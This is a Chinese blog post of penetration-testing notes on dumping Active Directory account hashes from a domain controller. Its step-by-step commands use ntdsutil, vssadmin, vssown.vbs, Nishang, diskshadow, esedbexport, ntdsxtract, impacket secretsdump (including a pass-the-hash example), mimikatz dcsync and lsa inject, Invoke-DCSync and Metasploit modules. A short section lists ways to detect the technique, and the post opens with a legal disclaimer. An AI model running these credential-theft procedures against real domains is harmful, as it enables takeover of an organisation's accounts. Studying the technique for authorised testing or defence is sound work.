内网安全之:获取域控制器账号与散列值

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 ntds.dit

在活动目录中,所有的数据都保存在 ntds.dit 文件中。ntds.dit 是一个二进制文件,存储位置为域控制器的 %SystemRoot%ntds\ntds.ditntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU 等与活动目录相关的信息。与 SAM 文件一样是被操作系统锁定的。可以使用卷影拷贝服务(Volume Shadow Copy Service, VSS) 实现读取 ntds.dit 文件操作,VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。

1.1 提取 ntds.dit

1.1.1 利用 ntdsutil.exe 提取 ntds.dit

ntdsutil.exe 是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe 支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。

# 1.在域控制器的命令行环境中创建一个快照。该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit

# 2. 查看当前快照
ntdsutil snapshot "List All" quit quit

# 3.加载创建的快照
ntdsutil snapshot "mount {29ccb97c-9d5c-4083-824f-bad382809f54}" quit quit

# 4.复制快照中的 ntds.dit文件
copy C:\$SNAP_202112041632_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public

# 5.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {29ccb97c-9d5c-4083-824f-bad382809f54}" "delete {29ccb97c-9d5c-4083-824f-bad382809f54}" quit quit

image-20211204163648660

1.1.2 利用 ntsuitl 的 IFM 创建卷影提取 ntds.dit

在使用 ntdsutil 创建 IFM 时,需要进行生成快照、加载、将ntds. dit 和计算机的 SAM 文件复制到目标文件夹中等操作。这些操作也可以通过 PowerShell 或 WMI 远程执行

# 1.利用 ntsuitl 的 IFM 创建卷影
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

# 2.自动会将 ntds.dit 复制到 "c:\test\Active Directory" 目录下,将 SYSTEM 和 SECURITY 复制到 "c:\test\registry" 目录下
dir "c:\test\Active Directory"
dir "c:\test\registry"

# 提取 ntds.dit 文件后删除 test 目录
rmdir /s /q C:\test

image-20211204172623061

1.1.3 利用 vssadmin 提取 ntds.dit

vssadminn是VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

# 1.创建一个 C 盘的卷影拷贝
vssadmin create shadow /for=C:

# 2.从卷影中拷贝 ntds.dit 文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit C:\ntds.dit

# 3.查看拷贝的 ntds.dit 文件
dir C:\ |findstr "ntds"

# 4.删除卷影拷贝
vssadmin delete shadows /for=C: /quiet

image-20211204164929463

1.1.4 利用 vssown.vbs 脚本提取 ntds.dit

ptscripts/vssown.vbs at master · borigue/ptscripts (github.com)

# 1.启动卷影拷贝服务
cscript vssown.vbs /start

# 2.创建一个 C 盘的卷影拷贝
cscript vssown.vbs /create C

# 3.列出当前卷影拷贝
cscript vssown.vbs /list

# 4.从卷影中拷贝 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\ntds.dit

# 5.删除所有卷影拷贝
cscript vssown.vbs /delete *

image-20211204170922899

1.1.5 利用 Nishang 提取 ntds.dit 文件

Nishang 中有一个 powershell 脚本 Copy-VSS.ps1 将 SAM,SYSTEM,ntds.dit 复制到当前 shell 所在路径

Import-Module .\Copy-VSS.ps1
Copy-VSS

image-20211204173951858

1.1.6 利用 diskshadow 提取 ntds.dit

diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。diskshadow 的功能与 vshadow 类似,且同样位于C:\windows\system32\ 目录下。不过,vshdow 是包含在Windows SDK 中的,在实际应用中可能需要将其上传到目标机器中。

:使用 diskshadow.exe 加载 command.txt 文件时需要在c:\windows\system32 下执行。

  1. 先在C盘创建并写入一个 command.txt 文件,内容如下

    //设置卷影拷贝
    set context persistent nowriters
    //添加卷
    add volume c: alias someAlias    
    //创建快照
    create    
    //分配虚拟磁盘盘符
    expose %someAlias% k:    
    //将ntds.dit复制到C盘c:\ntds.dit
    exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit    
    //删除所有快照
    delete shadows all    
    //列出系统中的卷影拷贝
    list shadows all    
    //重置
    reset    
    //退出
    exit    
    
    
  2. 使用 diskshadow 加载该命令文件

    c:\Windows\System32>diskshadow /s C:\command.txt
    
    # 执行出错,无法在 2012 server 上实现该操作。
    
  • 在渗透测试中,还可以使用 diskshadow.exe 来执行命令。

    echo exec c:\windows\system32\calc.exe > 1.txt
    type 1.txt
    diskshadow /s 1.txt
    

    image-20211204174949613

  • 导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息

    reg save hklm\system c:\windows\temp\system.hive
    

1.1.7 预防 ntds.dit 提取

  1. 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  2. 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vss.exe进程的事件。
  3. 监控创建diskshadow.exe及相关子进程的事件。
  4. 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe。如果发现,应立刻将其删除。
  5. 通过日志监控新出现的逻辑驱动器映射事件。

1.2 导出 ntds.dit 中的散列值

1.2.1 使用 esedbexport 恢复 ntds.dit

# 安装 esedbexport 
sudo apt install libesedb1 libesedb-utils

# 提取表信息,提取成功会在当前目录下生成一个文件夹。
esedbexport -m tables ntds.dit

image-20211205115735280

1.2.2 导出散列值

1.2.2.1 利用 ntdsxtract 导出散列值

注:在 Server 2012 中没有成功复现实验

csababarta/ntdsxtract: Active Directory forensic framework (github.com)

# 安装 ntdsxtract
sudo python2 setup.py build && sudo python2 setup.py install
# 需要安装的python模块
pip2.7 install crypto -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2.7 install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple

# 导出域内的所有用户名和散列值
# 将导出的 ntds.dit.export 文件夹和 SYSTEM 文件一并放入 ntdsxtract 文件夹
python2.7 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM -–passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
# 本次实验在 Server 2012 上抓取 hash 没有成功

# 导出域内所有计算机信息,导出文件格式为 CSV
python2.7 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv

image-20211206100836997

image-20211206102530306

1.2.2.2 利用 impacket 中的 secretsdump 导出散列值

SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

# 安装 impacket 工具包
python setup.py install

# 导出 ntds.dit 中的所有散列值
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

# impacket 还可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit 并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d -just-dc test.lab/administrator\@192.168.0.21

image-20211206103622970

image-20211206105551916

2 利用 dcsync 获取散列值

2.1 利用 mimikaz dcsync 功能转储域散列值

mimikaz 有一个 dcsync 功能,可以利用卷影拷贝服务直接读取ntds.dit 文件并检索城散列值。需要注意的是,必须使用域管理员权限运行 mimikatz 才可以读取 ntds.dit。

# 在域内的任意一台计算机,以管理员权限打开命令行环境
#导出域内所有用户名及散列值
lsadump::dcsync /domain:test.lab /all /csv

#导出用户 Administrator 的散列值。
lsadump::dcsync /domain:test.lab /user:Administrator

# 在域控制器中运行 mimikatz ,通过转储 lsass.exe 进程对散列值进行 Dump 操作
# 如果没有预先执行prvile::debug命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全将其显示出来,可以先执行log命令(会在mimikatz目录下生成一个文本文件,用于记录mimikaz的所有执行结果)。

privilege::debug
lsadump::lsa /inject

image-20211206112219256

2.2 利用 dcsync 获取域账号和域散列值

Invoke _DCSync.ps1 可以利用 desync 直接读取 ntds.dit,以获取域账号和域散列值

Invoke-DCSync.ps1 下载

# 在域控制器中:-PWDumpFormat 参数用于对输出的内容进行格式化
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat

image-20211206114239623

3 利用 MSF 获取域散列值

# 利用 psexec_ntdsgrab 模块获取域散列值
# 需要配置的参数有:RHOSTS、SMBDomain、SMBUser、SMBPass
use auxiliary/admin/smb/psexec_ntdsgrab
# 获取到 ntds.dit 文件和 system 复制到 /root/.msf6/loot 文件夹下,使用 impacket 工具包进行解析 ntds.dit 文件,导出域账号和域散列值。

# 基于 meterpreter 会话获取域账号和域散列值
use post/windows/gather/credentials/domain_hashdump

4 利用 Windows 下的工具导出域账号和域散列值

quarkslab/quarkspwdump: Dump various types of Windows credentials without injecting in any process. (github.com)

5 破解散列值网站

5.1 在线

5.2 本地

posted @ 2021-12-07 10:41  f_carey  阅读(29)  评论(0编辑  收藏  举报  来源